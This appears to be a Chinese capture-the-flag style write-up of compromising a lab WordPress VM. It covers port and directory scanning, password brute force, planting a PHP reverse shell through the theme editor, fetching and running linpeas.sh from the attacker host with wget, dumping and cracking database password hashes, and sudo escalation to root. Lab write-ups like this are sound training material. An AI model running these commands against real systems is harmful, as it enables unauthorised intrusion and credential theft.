渗透思路:
nmap扫描端口 ---- gobuster扫描网站目录 ---- wpscan扫描wordpress用户名并爆破密码 ---- 利用WordPress的模板编辑功能getshell ---- wordpress配置文件泄露数据库用户名密码 ---- 数据库泄露btrisk用户的密码 ---- sudo su提权
环境信息:
靶机:192.168.101.99
攻击机:192.168.101.34
具体步骤:
1、nmap扫描端口
sudo nmap -sV -sC -p- 192.168.101.99
发现ftp、ssh和http端口
2、gobuster扫描网站目录
gobuster dir -u http://192.168.101.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到/wordpress目录
3、wpscan扫描wordpress用户名并爆破密码
wpscan --url http://192.168.101.99/wordpress -e
扫描到两个用户btrisk和admin
分别用wpscan爆破这两个用户的密码,btrisk的密码没有爆破出来,admin的密码是admin
wpscan --url http://192.168.101.99/wordpress -U admin -P "rockyou.txt"
4、利用WordPress的模板编辑功能getshell
以用户admin密码admin进行登录:http://192.168.101.99/wordpress/wp-admin/
登录成功后依次点击左侧栏Appearance和Editor,右侧栏404 Template,然后用kali linux中/usr/share/webshells/php/php-reverse-shell.php的内容进行替换,记得根据自己的环境修改$ip和$port为攻击机监听反弹shell的ip和端口
然后点击页面下方的Update File按钮,当页面如上图这样显示File edited successfully.表示模板修改成功。
此时在攻击机上用nc监听8888端口
nc -nlvp 8888
浏览器访问http://192.168.101.99/wordpress/wp-content/themes/twentyfourteen/404.php
可以在攻击机上得到靶机www-data用户的反弹shell
输入如下命令可以得到交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
5、wordpress配置文件泄露数据库用户名密码
ss -antp
发现本地开着3306端口(mysql),但目前不知道用户名和密码
从攻击机上下载linpeas.sh,并执行
wget http://192.168.101.34/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
发现wordpress配置文件/var/www/html/wordpress/wp-config.php泄露了数据库用户名root,密码rootpassword!
6、数据库泄露btrisk用户的密码
以用户名root登录本地mysql
mysql -u root -p
密码rootpassword!
登录成功后查看所有数据库名称
mysql> show databases;
由于在系统上我们也发现了btrisk用户,而之前在wordpress上也发现了btrisk用户,所以选择wordpress数据库,查看数据库中所有表,发现有名为wp_users的表,查看该表所有数据
mysql> use wordpress;
mysql> show tables;
mysql> select * from wp_users;
发现btrisk用户密码的md5值为a318e4507e5a74604aafb45e4741edd3
在网站MD5免费在线解密破解_MD5在线加密-SOMD5上爆破,发现其明文密码为roottoor
7、提权
用su命令切换到btrisk用户,密码为roottoor
然后执行sudo -l
查看btrisk用户可以sudo执行的命令,发现其可以以任何用户的身份执行任何命令
因此可以sudo su -
提权到root用户